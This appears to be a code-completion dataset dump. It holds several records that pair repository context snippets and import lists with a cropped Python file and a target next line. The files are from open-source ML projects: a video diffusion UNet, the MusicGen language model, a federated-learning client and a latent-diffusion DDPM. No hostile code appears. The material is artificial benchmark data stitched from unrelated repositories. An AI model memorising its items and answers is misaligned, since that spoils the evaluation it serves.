orig_h, orig_w, is_low_resol): """ Configuration """ # pred_iou_thresh = 0.85 # stability_score_offset = 1.0 # stability_score_thresh = 0.85 # box_nms_thresh = 0.7 pred_iou_thresh = 0.7 stability_score_offset = 1.0 stability_score_thresh = 0.7 box_nms_thresh = 0.7 # Interpolation if not is_low_resol: masks = F.interpolate( masks, (orig_h, orig_w), mode="bilinear", align_corners=False, ) else: orig_h, orig_w = masks.shape[2:] # Serialize predictions and store in MaskData data = MaskData( masks=masks.flatten(0, 1), iou_preds=iou_predictions.flatten(0, 1), ) # Filter by predicted IoU if pred_iou_thresh > 0.0: keep_mask = data["iou_preds"] > pred_iou_thresh data.filter(keep_mask) # Calculate stability score data["stability_score"] = calculate_stability_score( data["masks"], self.mask_threshold, stability_score_offset ) if stability_score_thresh > 0.0: keep_mask = data["stability_score"] >= stability_score_thresh data.filter(keep_mask) # Threshold masks and calculate boxes data["masks"] = data["masks"] > self.mask_threshold data["boxes"] = batched_mask_to_box(data["masks"]) # Filter boxes that touch crop boundaries keep_mask = ~is_box_near_crop_edge(data["boxes"], [0, 0, orig_w, orig_h], [0, 0, orig_w, orig_h]) if not torch.all(keep_mask): data.filter(keep_mask)
data['masks'] = uncrop_masks(data["masks"], [0, 0, orig_w, orig_h], orig_h, orig_w)
7
2023-10-13 20:07:42+00:00
12k
flow-diffusion/AVDC
flowdiffusion/model/unet_3d_condition.py
[ { "identifier": "AttentionProcessor", "path": "flowdiffusion/model/attention_processor.py", "snippet": "class Attention(nn.Module):\nclass AttnProcessor:\nclass LoRALinearLayer(nn.Module):\nclass LoRAAttnProcessor(nn.Module):\nclass AttnAddedKVProcessor:\nclass XFormersAttnProcessor:\nclass AttnProcesso...
from dataclasses import dataclass from typing import Any, Dict, List, Optional, Tuple, Union from diffusers.configuration_utils import ConfigMixin, register_to_config from diffusers.utils import BaseOutput, logging from .attention_processor import AttentionProcessor, AttnProcessor from diffusers.models.embeddings import TimestepEmbedding, Timesteps from diffusers.models.modeling_utils import ModelMixin from .transformer_temporal import TransformerTemporalModel from .unet_3d_blocks import ( CrossAttnDownBlock3D, CrossAttnUpBlock3D, DownBlock3D, UNetMidBlock3DCrossAttn, UpBlock3D, get_down_block, get_up_block, ) import torch import torch.nn as nn import torch.utils.checkpoint
9,111
# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. logger = logging.get_logger(__name__) # pylint: disable=invalid-name @dataclass class UNet3DConditionOutput(BaseOutput): """ Args: sample (`torch.FloatTensor` of shape `(batch_size, num_frames, num_channels, height, width)`): Hidden states conditioned on `encoder_hidden_states` input. Output of last layer of model. """ sample: torch.FloatTensor class UNet3DConditionModel(ModelMixin, ConfigMixin): r""" UNet3DConditionModel is a conditional 2D UNet model that takes in a noisy sample, conditional state, and a timestep and returns sample shaped output. This model inherits from [`ModelMixin`]. Check the superclass documentation for the generic methods the library implements for all the models (such as downloading or saving, etc.) Parameters: sample_size (`int` or `Tuple[int, int]`, *optional*, defaults to `None`): Height and width of input/output sample. in_channels (`int`, *optional*, defaults to 4): The number of channels in the input sample. out_channels (`int`, *optional*, defaults to 4): The number of channels in the output. down_block_types (`Tuple[str]`, *optional*, defaults to `("CrossAttnDownBlock2D", "CrossAttnDownBlock2D", "CrossAttnDownBlock2D", "DownBlock2D")`): The tuple of downsample blocks to use. up_block_types (`Tuple[str]`, *optional*, defaults to `("UpBlock2D", "CrossAttnUpBlock2D", "CrossAttnUpBlock2D", "CrossAttnUpBlock2D",)`): The tuple of upsample blocks to use. block_out_channels (`Tuple[int]`, *optional*, defaults to `(320, 640, 1280, 1280)`): The tuple of output channels for each block. layers_per_block (`int`, *optional*, defaults to 2): The number of layers per block. downsample_padding (`int`, *optional*, defaults to 1): The padding to use for the downsampling convolution. mid_block_scale_factor (`float`, *optional*, defaults to 1.0): The scale factor to use for the mid block. act_fn (`str`, *optional*, defaults to `"silu"`): The activation function to use. norm_num_groups (`int`, *optional*, defaults to 32): The number of groups to use for the normalization. If `None`, it will skip the normalization and activation layers in post-processing norm_eps (`float`, *optional*, defaults to 1e-5): The epsilon to use for the normalization. cross_attention_dim (`int`, *optional*, defaults to 1280): The dimension of the cross attention features. attention_head_dim (`int`, *optional*, defaults to 8): The dimension of the attention heads. """ _supports_gradient_checkpointing = False @register_to_config def __init__( self, sample_size: Optional[int] = None, in_channels: int = 4, out_channels: int = 4, down_block_types: Tuple[str] = ( "CrossAttnDownBlock3D", "CrossAttnDownBlock3D", "CrossAttnDownBlock3D", "DownBlock3D", ), up_block_types: Tuple[str] = ("UpBlock3D", "CrossAttnUpBlock3D", "CrossAttnUpBlock3D", "CrossAttnUpBlock3D"), block_out_channels: Tuple[int] = (320, 640, 1280, 1280), layers_per_block: int = 2, downsample_padding: int = 1, mid_block_scale_factor: float = 1, act_fn: str = "silu", norm_num_groups: Optional[int] = 32, norm_eps: float = 1e-5, cross_attention_dim: int = 1024, attention_head_dim: Union[int, Tuple[int]] = 64, ): super().__init__() self.sample_size = sample_size # Check inputs if len(down_block_types) != len(up_block_types): raise ValueError( f"Must provide the same number of `down_block_types` as `up_block_types`. `down_block_types`: {down_block_types}. `up_block_types`: {up_block_types}." ) if len(block_out_channels) != len(down_block_types): raise ValueError( f"Must provide the same number of `block_out_channels` as `down_block_types`. `block_out_channels`: {block_out_channels}. `down_block_types`: {down_block_types}." ) if not isinstance(attention_head_dim, int) and len(attention_head_dim) != len(down_block_types): raise ValueError( f"Must provide the same number of `attention_head_dim` as `down_block_types`. `attention_head_dim`: {attention_head_dim}. `down_block_types`: {down_block_types}." ) # input conv_in_kernel = 3 conv_out_kernel = 3 conv_in_padding = (conv_in_kernel - 1) // 2 self.conv_in = nn.Conv2d( in_channels, block_out_channels[0], kernel_size=conv_in_kernel, padding=conv_in_padding ) # time time_embed_dim = block_out_channels[0] * 4 self.time_proj = Timesteps(block_out_channels[0], True, 0) timestep_input_dim = block_out_channels[0] self.time_embedding = TimestepEmbedding( timestep_input_dim, time_embed_dim, act_fn=act_fn, )
# Copyright 2023 Alibaba DAMO-VILAB and The HuggingFace Team. All rights reserved. # Copyright 2023 The ModelScope Team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. logger = logging.get_logger(__name__) # pylint: disable=invalid-name @dataclass class UNet3DConditionOutput(BaseOutput): """ Args: sample (`torch.FloatTensor` of shape `(batch_size, num_frames, num_channels, height, width)`): Hidden states conditioned on `encoder_hidden_states` input. Output of last layer of model. """ sample: torch.FloatTensor class UNet3DConditionModel(ModelMixin, ConfigMixin): r""" UNet3DConditionModel is a conditional 2D UNet model that takes in a noisy sample, conditional state, and a timestep and returns sample shaped output. This model inherits from [`ModelMixin`]. Check the superclass documentation for the generic methods the library implements for all the models (such as downloading or saving, etc.) Parameters: sample_size (`int` or `Tuple[int, int]`, *optional*, defaults to `None`): Height and width of input/output sample. in_channels (`int`, *optional*, defaults to 4): The number of channels in the input sample. out_channels (`int`, *optional*, defaults to 4): The number of channels in the output. down_block_types (`Tuple[str]`, *optional*, defaults to `("CrossAttnDownBlock2D", "CrossAttnDownBlock2D", "CrossAttnDownBlock2D", "DownBlock2D")`): The tuple of downsample blocks to use. up_block_types (`Tuple[str]`, *optional*, defaults to `("UpBlock2D", "CrossAttnUpBlock2D", "CrossAttnUpBlock2D", "CrossAttnUpBlock2D",)`): The tuple of upsample blocks to use. block_out_channels (`Tuple[int]`, *optional*, defaults to `(320, 640, 1280, 1280)`): The tuple of output channels for each block. layers_per_block (`int`, *optional*, defaults to 2): The number of layers per block. downsample_padding (`int`, *optional*, defaults to 1): The padding to use for the downsampling convolution. mid_block_scale_factor (`float`, *optional*, defaults to 1.0): The scale factor to use for the mid block. act_fn (`str`, *optional*, defaults to `"silu"`): The activation function to use. norm_num_groups (`int`, *optional*, defaults to 32): The number of groups to use for the normalization. If `None`, it will skip the normalization and activation layers in post-processing norm_eps (`float`, *optional*, defaults to 1e-5): The epsilon to use for the normalization. cross_attention_dim (`int`, *optional*, defaults to 1280): The dimension of the cross attention features. attention_head_dim (`int`, *optional*, defaults to 8): The dimension of the attention heads. """ _supports_gradient_checkpointing = False @register_to_config def __init__( self, sample_size: Optional[int] = None, in_channels: int = 4, out_channels: int = 4, down_block_types: Tuple[str] = ( "CrossAttnDownBlock3D", "CrossAttnDownBlock3D", "CrossAttnDownBlock3D", "DownBlock3D", ), up_block_types: Tuple[str] = ("UpBlock3D", "CrossAttnUpBlock3D", "CrossAttnUpBlock3D", "CrossAttnUpBlock3D"), block_out_channels: Tuple[int] = (320, 640, 1280, 1280), layers_per_block: int = 2, downsample_padding: int = 1, mid_block_scale_factor: float = 1, act_fn: str = "silu", norm_num_groups: Optional[int] = 32, norm_eps: float = 1e-5, cross_attention_dim: int = 1024, attention_head_dim: Union[int, Tuple[int]] = 64, ): super().__init__() self.sample_size = sample_size # Check inputs if len(down_block_types) != len(up_block_types): raise ValueError( f"Must provide the same number of `down_block_types` as `up_block_types`. `down_block_types`: {down_block_types}. `up_block_types`: {up_block_types}." ) if len(block_out_channels) != len(down_block_types): raise ValueError( f"Must provide the same number of `block_out_channels` as `down_block_types`. `block_out_channels`: {block_out_channels}. `down_block_types`: {down_block_types}." ) if not isinstance(attention_head_dim, int) and len(attention_head_dim) != len(down_block_types): raise ValueError( f"Must provide the same number of `attention_head_dim` as `down_block_types`. `attention_head_dim`: {attention_head_dim}. `down_block_types`: {down_block_types}." ) # input conv_in_kernel = 3 conv_out_kernel = 3 conv_in_padding = (conv_in_kernel - 1) // 2 self.conv_in = nn.Conv2d( in_channels, block_out_channels[0], kernel_size=conv_in_kernel, padding=conv_in_padding ) # time time_embed_dim = block_out_channels[0] * 4 self.time_proj = Timesteps(block_out_channels[0], True, 0) timestep_input_dim = block_out_channels[0] self.time_embedding = TimestepEmbedding( timestep_input_dim, time_embed_dim, act_fn=act_fn, )
self.transformer_in = TransformerTemporalModel(
1
2023-10-09 12:03:17+00:00
12k
sakemin/cog-musicgen-remixer
audiocraft/models/lm.py
[ { "identifier": "utils", "path": "audiocraft/utils/utils.py", "snippet": "def model_hash(model: torch.nn.Module) -> str:\ndef dict_from_config(cfg: omegaconf.DictConfig) -> dict:\ndef random_subset(dataset, max_samples: int, seed: int = 42) -> torch.utils.data.Subset:\ndef get_loader(dataset, num_sample...
from dataclasses import dataclass from functools import partial from torch import nn from ..utils import utils from ..modules.streaming import StreamingModule, State from ..modules.transformer import StreamingTransformer, create_norm_fn from ..modules.conditioners import ( ConditionFuser, ClassifierFreeGuidanceDropout, AttributeDropout, ConditioningProvider, ConditioningAttributes, ConditionType, ) from ..modules.codebooks_patterns import CodebooksPatternProvider from ..modules.activations import get_activation_fn import logging import math import typing as tp import torch
9,506
"If 'zero_bias_init', a 'weight_init' method should be provided" if weight_init is None: return for emb_layer in self.emb: init_layer(emb_layer, method=weight_init, init_depth=None, zero_bias_init=zero_bias_init) for layer_idx, tr_layer in enumerate(self.transformer.layers): depth = None if depthwise_init == 'current': depth = layer_idx + 1 elif depthwise_init == 'global': depth = len(self.transformer.layers) init_fn = partial(init_layer, method=weight_init, init_depth=depth, zero_bias_init=zero_bias_init) tr_layer.apply(init_fn) for linear in self.linears: init_layer(linear, method=weight_init, init_depth=None, zero_bias_init=zero_bias_init) @property def special_token_id(self) -> int: return self.card @property def num_codebooks(self) -> int: return self.n_q def forward(self, sequence: torch.Tensor, conditions: tp.List[ConditioningAttributes], condition_tensors: tp.Optional[ConditionTensors] = None) -> torch.Tensor: """Apply language model on sequence and conditions. Given a tensor of sequence of shape [B, K, S] with K the number of codebooks and S the sequence steps, return the logits with shape [B, card, K, S]. Args: indices (torch.Tensor): Indices of the codes to model. conditions (list of ConditioningAttributes): Conditions to use when modeling the given codes. Note that when evaluating multiple time with the same conditioning you should pre-compute those and pass them as `condition_tensors`. condition_tensors (dict[str, ConditionType], optional): Pre-computed conditioning tensors, see `conditions`. Returns: torch.Tensor: Logits. """ B, K, S = sequence.shape assert K == self.num_codebooks, "Sequence shape must match the specified number of codebooks" input_ = sum([self.emb[k](sequence[:, k]) for k in range(K)]) if condition_tensors is None: assert not self._is_streaming, "Conditions tensors should be precomputed when streaming." # apply dropout modules conditions = self.cfg_dropout(conditions) conditions = self.att_dropout(conditions) tokenized = self.condition_provider.tokenize(conditions) # encode conditions and fuse, both have a streaming cache to not recompute when generating. condition_tensors = self.condition_provider(tokenized) else: assert not conditions, "Shouldn't pass both conditions and condition_tensors." input_, cross_attention_input = self.fuser(input_, condition_tensors) out = self.transformer(input_, cross_attention_src=cross_attention_input) if self.out_norm: out = self.out_norm(out) logits = torch.stack([self.linears[k](out) for k in range(K)], dim=1) # [B, K, S, card] # remove the prefix from the model outputs if len(self.fuser.fuse2cond['prepend']) > 0: logits = logits[:, :, -S:] return logits # [B, K, S, card] def compute_predictions( self, codes: torch.Tensor, conditions: tp.List[ConditioningAttributes], condition_tensors: tp.Optional[ConditionTensors] = None) -> LMOutput: """Given an input tensor of codes [B, K, T] and list of conditions, runs the model forward using the specified codes interleaving pattern. Args: codes (torch.Tensor): Input codes of shape [B, K, T] with B the batch size, K the number of codebooks and T the number of timesteps. conditions (list of ConditioningAttributes): conditionings to use when modeling the given codes. Note that when evaluating multiple time with the same conditioning you should pre-compute those and pass them as `condition_tensors`. condition_tensors (dict[str, ConditionType], optional): pre-computed conditioning tensors, see `conditions`. Returns: LMOutput: Language model outputs logits (torch.Tensor) of shape [B, K, T, card] corresponding to the provided codes, i.e. the first item corresponds to logits to predict the first code, meaning that no additional shifting of codes and logits is required. mask (torch.Tensor) of shape [B, K, T], mask over valid and invalid positions. Given the specified interleaving strategies, parts of the logits and codes should not be considered as valid predictions because of invalid context. """ B, K, T = codes.shape codes = codes.contiguous() # map codes [B, K, T] into pattern sequence [B, K, S] using special_token_id for masked tokens pattern = self.pattern_provider.get_pattern(T) sequence_codes, sequence_indexes, sequence_mask = pattern.build_pattern_sequence( codes, self.special_token_id, keep_only_valid_steps=True ) # apply model on pattern sequence model = self if self._fsdp is None else self._fsdp logits = model(sequence_codes, conditions, condition_tensors) # [B, K, S, card] # map back the logits on pattern sequence to logits on original codes: [B, K, S, card] -> [B, K, T, card] # and provide the corresponding mask over invalid positions of tokens logits = logits.permute(0, 3, 1, 2) # [B, card, K, S] # note: we use nans as special token to make it obvious if we feed unexpected logits logits, logits_indexes, logits_mask = pattern.revert_pattern_logits( logits, float('nan'), keep_only_valid_steps=True ) logits = logits.permute(0, 2, 3, 1) # [B, K, T, card] logits_mask = logits_mask[None, :, :].expand(B, -1, -1) # [K, T] -> [B, K, T] return LMOutput(logits, logits_mask) def _sample_next_token(self, sequence: torch.Tensor, cfg_conditions: CFGConditions,
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. logger = logging.getLogger(__name__) ConditionTensors = tp.Dict[str, ConditionType] CFGConditions = tp.Union[ConditionTensors, tp.Tuple[ConditionTensors, ConditionTensors]] def get_init_fn(method: str, input_dim: int, init_depth: tp.Optional[int] = None): """LM layer initialization. Inspired from xlformers: https://github.com/fairinternal/xlformers Args: method (str): Method name for init function. Valid options are: 'gaussian', 'uniform'. input_dim (int): Input dimension of the initialized module. init_depth (int, optional): Optional init depth value used to rescale the standard deviation if defined. """ # Compute std std = 1 / math.sqrt(input_dim) # Rescale with depth if init_depth is not None: std = std / math.sqrt(2 * init_depth) if method == 'gaussian': return partial( torch.nn.init.trunc_normal_, mean=0.0, std=std, a=-3 * std, b=3 * std ) elif method == 'uniform': bound = math.sqrt(3) * std # ensure the standard deviation is `std` return partial(torch.nn.init.uniform_, a=-bound, b=bound) else: raise ValueError("Unsupported layer initialization method") def init_layer(m: nn.Module, method: str, init_depth: tp.Optional[int] = None, zero_bias_init: bool = False): """Wrapper around ``get_init_fn`` for proper initialization of LM modules. Args: m (nn.Module): Module to initialize. method (str): Method name for the init function. init_depth (int, optional): Optional init depth value used to rescale the standard deviation if defined. zero_bias_init (bool): Whether to initialize the bias to 0 or not. """ if isinstance(m, nn.Linear): init_fn = get_init_fn(method, m.in_features, init_depth=init_depth) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) if zero_bias_init and m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Embedding): init_fn = get_init_fn(method, m.embedding_dim, init_depth=None) if m.weight.device.type == 'cpu' and m.weight.dtype == torch.float16: weight = m.weight.float() init_fn(weight) m.weight.data[:] = weight.half() else: init_fn(m.weight) class ScaledEmbedding(nn.Embedding): """Boost learning rate for embeddings (with `scale`). """ def __init__(self, *args, lr=None, **kwargs): super().__init__(*args, **kwargs) self.lr = lr def make_optim_group(self): group = {"params": list(self.parameters())} if self.lr is not None: group["lr"] = self.lr return group @dataclass class LMOutput: # The logits are already re-aligned with the input codes # hence no extra shift is required, e.g. when computing CE logits: torch.Tensor # [B, K, T, card] mask: torch.Tensor # [B, K, T] class LMModel(StreamingModule): """Transformer-based language model on multiple streams of codes. Args: pattern_provider (CodebooksPatternProvider): Pattern provider for codebook interleaving. condition_provider (MusicConditioningProvider): Conditioning provider from metadata. fuser (ConditionFuser): Fuser handling the fusing of conditions with language model input. n_q (int): Number of parallel streams to model. card (int): Cardinality, vocabulary size. dim (int): Dimension of the transformer encoder. num_heads (int): Number of heads for the transformer encoder. hidden_scale (int): Scale for hidden feed forward dimension of the transformer encoder. norm (str): Normalization method. norm_first (bool): Use pre-norm instead of post-norm. emb_lr (float, optional): Embedding-specific learning rate. bias_proj (bool): Use bias for output projections. weight_init (str, optional): Method for weight initialization. depthwise_init (str, optional): Method for depthwise weight initialization. zero_bias_init (bool): If true and bias in Linears, initialize bias to zeros. cfg_dropout (float): Classifier-free guidance dropout. cfg_coef (float): Classifier-free guidance coefficient. attribute_dropout (dict): Attribute dropout probabilities. two_step_cfg (bool): Whether to run classifier free-guidance with 2 distinct steps. **kwargs: Additional parameters for the transformer encoder. """ def __init__(self, pattern_provider: CodebooksPatternProvider, condition_provider: ConditioningProvider, fuser: ConditionFuser, n_q: int = 8, card: int = 1024, dim: int = 128, num_heads: int = 8, hidden_scale: int = 4, norm: str = 'layer_norm', norm_first: bool = False, emb_lr: tp.Optional[float] = None, bias_proj: bool = True, weight_init: tp.Optional[str] = None, depthwise_init: tp.Optional[str] = None, zero_bias_init: bool = False, cfg_dropout: float = 0, cfg_coef: float = 1.0, attribute_dropout: tp.Dict[str, tp.Dict[str, float]] = {}, two_step_cfg: bool = False, **kwargs): super().__init__() self.cfg_coef = cfg_coef self.cfg_dropout = ClassifierFreeGuidanceDropout(p=cfg_dropout) self.att_dropout = AttributeDropout(p=attribute_dropout) self.condition_provider = condition_provider self.fuser = fuser self.card = card embed_dim = self.card + 1 self.n_q = n_q self.dim = dim self.pattern_provider = pattern_provider self.two_step_cfg = two_step_cfg self.emb = nn.ModuleList([ScaledEmbedding(embed_dim, dim, lr=emb_lr) for _ in range(n_q)]) if 'activation' in kwargs: kwargs['activation'] = get_activation_fn(kwargs['activation']) self.transformer = StreamingTransformer( d_model=dim, num_heads=num_heads, dim_feedforward=int(hidden_scale * dim), norm=norm, norm_first=norm_first, **kwargs) self.out_norm: tp.Optional[nn.Module] = None if norm_first: self.out_norm = create_norm_fn(norm, dim) self.linears = nn.ModuleList([nn.Linear(dim, self.card, bias=bias_proj) for _ in range(n_q)]) self._init_weights(weight_init, depthwise_init, zero_bias_init) self._fsdp: tp.Optional[nn.Module] self.__dict__['_fsdp'] = None def _init_weights(self, weight_init: tp.Optional[str], depthwise_init: tp.Optional[str], zero_bias_init: bool): """Initialization of the transformer module weights. Args: weight_init (str, optional): Weight initialization strategy. See ``get_init_fn`` for valid options. depthwise_init (str, optional): Depthwise initialization strategy. The following options are valid: 'current' where the depth corresponds to the current layer index or 'global' where the total number of layer is used as depth. If not set, no depthwise initialization strategy is used. zero_bias_init (bool): Whether to initialize bias to zero or not. """ assert depthwise_init is None or depthwise_init in ['current', 'global'] assert depthwise_init is None or weight_init is not None, \ "If 'depthwise_init' is defined, a 'weight_init' method should be provided." assert not zero_bias_init or weight_init is not None, \ "If 'zero_bias_init', a 'weight_init' method should be provided" if weight_init is None: return for emb_layer in self.emb: init_layer(emb_layer, method=weight_init, init_depth=None, zero_bias_init=zero_bias_init) for layer_idx, tr_layer in enumerate(self.transformer.layers): depth = None if depthwise_init == 'current': depth = layer_idx + 1 elif depthwise_init == 'global': depth = len(self.transformer.layers) init_fn = partial(init_layer, method=weight_init, init_depth=depth, zero_bias_init=zero_bias_init) tr_layer.apply(init_fn) for linear in self.linears: init_layer(linear, method=weight_init, init_depth=None, zero_bias_init=zero_bias_init) @property def special_token_id(self) -> int: return self.card @property def num_codebooks(self) -> int: return self.n_q def forward(self, sequence: torch.Tensor, conditions: tp.List[ConditioningAttributes], condition_tensors: tp.Optional[ConditionTensors] = None) -> torch.Tensor: """Apply language model on sequence and conditions. Given a tensor of sequence of shape [B, K, S] with K the number of codebooks and S the sequence steps, return the logits with shape [B, card, K, S]. Args: indices (torch.Tensor): Indices of the codes to model. conditions (list of ConditioningAttributes): Conditions to use when modeling the given codes. Note that when evaluating multiple time with the same conditioning you should pre-compute those and pass them as `condition_tensors`. condition_tensors (dict[str, ConditionType], optional): Pre-computed conditioning tensors, see `conditions`. Returns: torch.Tensor: Logits. """ B, K, S = sequence.shape assert K == self.num_codebooks, "Sequence shape must match the specified number of codebooks" input_ = sum([self.emb[k](sequence[:, k]) for k in range(K)]) if condition_tensors is None: assert not self._is_streaming, "Conditions tensors should be precomputed when streaming." # apply dropout modules conditions = self.cfg_dropout(conditions) conditions = self.att_dropout(conditions) tokenized = self.condition_provider.tokenize(conditions) # encode conditions and fuse, both have a streaming cache to not recompute when generating. condition_tensors = self.condition_provider(tokenized) else: assert not conditions, "Shouldn't pass both conditions and condition_tensors." input_, cross_attention_input = self.fuser(input_, condition_tensors) out = self.transformer(input_, cross_attention_src=cross_attention_input) if self.out_norm: out = self.out_norm(out) logits = torch.stack([self.linears[k](out) for k in range(K)], dim=1) # [B, K, S, card] # remove the prefix from the model outputs if len(self.fuser.fuse2cond['prepend']) > 0: logits = logits[:, :, -S:] return logits # [B, K, S, card] def compute_predictions( self, codes: torch.Tensor, conditions: tp.List[ConditioningAttributes], condition_tensors: tp.Optional[ConditionTensors] = None) -> LMOutput: """Given an input tensor of codes [B, K, T] and list of conditions, runs the model forward using the specified codes interleaving pattern. Args: codes (torch.Tensor): Input codes of shape [B, K, T] with B the batch size, K the number of codebooks and T the number of timesteps. conditions (list of ConditioningAttributes): conditionings to use when modeling the given codes. Note that when evaluating multiple time with the same conditioning you should pre-compute those and pass them as `condition_tensors`. condition_tensors (dict[str, ConditionType], optional): pre-computed conditioning tensors, see `conditions`. Returns: LMOutput: Language model outputs logits (torch.Tensor) of shape [B, K, T, card] corresponding to the provided codes, i.e. the first item corresponds to logits to predict the first code, meaning that no additional shifting of codes and logits is required. mask (torch.Tensor) of shape [B, K, T], mask over valid and invalid positions. Given the specified interleaving strategies, parts of the logits and codes should not be considered as valid predictions because of invalid context. """ B, K, T = codes.shape codes = codes.contiguous() # map codes [B, K, T] into pattern sequence [B, K, S] using special_token_id for masked tokens pattern = self.pattern_provider.get_pattern(T) sequence_codes, sequence_indexes, sequence_mask = pattern.build_pattern_sequence( codes, self.special_token_id, keep_only_valid_steps=True ) # apply model on pattern sequence model = self if self._fsdp is None else self._fsdp logits = model(sequence_codes, conditions, condition_tensors) # [B, K, S, card] # map back the logits on pattern sequence to logits on original codes: [B, K, S, card] -> [B, K, T, card] # and provide the corresponding mask over invalid positions of tokens logits = logits.permute(0, 3, 1, 2) # [B, card, K, S] # note: we use nans as special token to make it obvious if we feed unexpected logits logits, logits_indexes, logits_mask = pattern.revert_pattern_logits( logits, float('nan'), keep_only_valid_steps=True ) logits = logits.permute(0, 2, 3, 1) # [B, K, T, card] logits_mask = logits_mask[None, :, :].expand(B, -1, -1) # [K, T] -> [B, K, T] return LMOutput(logits, logits_mask) def _sample_next_token(self, sequence: torch.Tensor, cfg_conditions: CFGConditions,
unconditional_state: State,
1
2023-10-09 09:55:24+00:00
12k
visitworld123/FedFed
algorithms_standalone/fedavg/client.py
[ { "identifier": "Client", "path": "algorithms_standalone/basePS/client.py", "snippet": "class Client(PSTrainer):\n\n def __init__(self, client_index, train_ori_data, train_ori_targets, test_dataloader, train_data_num,\n test_data_num, train_cls_counts_dict, device, args, model_trainer...
import logging import copy from algorithms_standalone.basePS.client import Client from model.build import create_model
7,203
class FedAVGClient(Client): def __init__(self, client_index, train_ori_data, train_ori_targets,test_dataloader, train_data_num, test_data_num, train_cls_counts_dict, device, args, model_trainer, vae_model, dataset_num): super().__init__(client_index, train_ori_data, train_ori_targets, test_dataloader, train_data_num, test_data_num, train_cls_counts_dict, device, args, model_trainer, vae_model, dataset_num) local_num_iterations_dict = {} local_num_iterations_dict[self.client_index] = self.local_num_iterations self.global_epochs_per_round = self.args.global_epochs_per_round local_num_epochs_per_comm_round_dict = {} local_num_epochs_per_comm_round_dict[self.client_index] = self.args.global_epochs_per_round #========================SCAFFOLD=====================# if self.args.scaffold:
class FedAVGClient(Client): def __init__(self, client_index, train_ori_data, train_ori_targets,test_dataloader, train_data_num, test_data_num, train_cls_counts_dict, device, args, model_trainer, vae_model, dataset_num): super().__init__(client_index, train_ori_data, train_ori_targets, test_dataloader, train_data_num, test_data_num, train_cls_counts_dict, device, args, model_trainer, vae_model, dataset_num) local_num_iterations_dict = {} local_num_iterations_dict[self.client_index] = self.local_num_iterations self.global_epochs_per_round = self.args.global_epochs_per_round local_num_epochs_per_comm_round_dict = {} local_num_epochs_per_comm_round_dict[self.client_index] = self.args.global_epochs_per_round #========================SCAFFOLD=====================# if self.args.scaffold:
self.c_model_local = create_model(self.args,
1
2023-10-10 09:43:18+00:00
12k
Texaser/MTN
ldm/models/diffusion/ddpm.py
[ { "identifier": "log_txt_as_img", "path": "ldm/util.py", "snippet": "def log_txt_as_img(wh, xc, size=10):\n # wh a tuple of (width, height)\n # xc a list of captions to plot\n b = len(xc)\n txts = list()\n for bi in range(b):\n txt = Image.new(\"RGB\", wh, color=\"white\")\n ...
import torch import torch.nn as nn import numpy as np import pytorch_lightning as pl import itertools from torch.optim.lr_scheduler import LambdaLR from einops import rearrange, repeat from contextlib import contextmanager, nullcontext from functools import partial from tqdm import tqdm from torchvision.utils import make_grid from pytorch_lightning.utilities.rank_zero import rank_zero_only from omegaconf import ListConfig from ldm.util import log_txt_as_img, exists, default, ismap, isimage, mean_flat, count_params, instantiate_from_config from ldm.modules.ema import LitEma from ldm.modules.distributions.distributions import normal_kl, DiagonalGaussianDistribution from ldm.models.autoencoder import VQModelInterface, IdentityFirstStage, AutoencoderKL from ldm.modules.diffusionmodules.util import make_beta_schedule, extract_into_tensor, noise_like from ldm.models.diffusion.ddim import DDIMSampler from ldm.modules.attention import CrossAttention
10,071
""" wild mixture of https://github.com/lucidrains/denoising-diffusion-pytorch/blob/7706bdfc6f527f58d33f84b7b522e61e6e3164b3/denoising_diffusion_pytorch/denoising_diffusion_pytorch.py https://github.com/openai/improved-diffusion/blob/e94489283bb876ac1477d5dd7709bbbd2d9902ce/improved_diffusion/gaussian_diffusion.py https://github.com/CompVis/taming-transformers -- merci """ __conditioning_keys__ = {'concat': 'c_concat', 'crossattn': 'c_crossattn', 'adm': 'y'} def disabled_train(self, mode=True): """Overwrite model.train with this function to make sure train/eval mode does not change anymore.""" return self def uniform_on_device(r1, r2, shape, device): return (r1 - r2) * torch.rand(*shape, device=device) + r2 class DDPM(pl.LightningModule): # classic DDPM with Gaussian diffusion, in image space def __init__(self, unet_config, timesteps=1000, beta_schedule="linear", loss_type="l2", ckpt_path=None, ignore_keys=[], load_only_unet=False, monitor="val/loss", use_ema=True, first_stage_key="image", image_size=256, channels=3, log_every_t=100, clip_denoised=True, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3, given_betas=None, original_elbo_weight=0., v_posterior=0., # weight for choosing posterior variance as sigma = (1-v) * beta_tilde + v * beta l_simple_weight=1., conditioning_key=None, parameterization="eps", # all assuming fixed variance schedules scheduler_config=None, use_positional_encodings=False, learn_logvar=False, logvar_init=0., make_it_fit=False, ucg_training=None, ): super().__init__() assert parameterization in ["eps", "x0"], 'currently only supporting "eps" and "x0"' self.parameterization = parameterization print(f"{self.__class__.__name__}: Running in {self.parameterization}-prediction mode") self.cond_stage_model = None self.clip_denoised = clip_denoised self.log_every_t = log_every_t self.first_stage_key = first_stage_key self.image_size = image_size # try conv? self.channels = channels self.use_positional_encodings = use_positional_encodings self.model = DiffusionWrapper(unet_config, conditioning_key) count_params(self.model, verbose=True) self.use_ema = use_ema if self.use_ema: self.model_ema = LitEma(self.model) print(f"Keeping EMAs of {len(list(self.model_ema.buffers()))}.") self.use_scheduler = scheduler_config is not None if self.use_scheduler: self.scheduler_config = scheduler_config self.v_posterior = v_posterior self.original_elbo_weight = original_elbo_weight self.l_simple_weight = l_simple_weight if monitor is not None: self.monitor = monitor self.make_it_fit = make_it_fit if ckpt_path is not None: self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys, 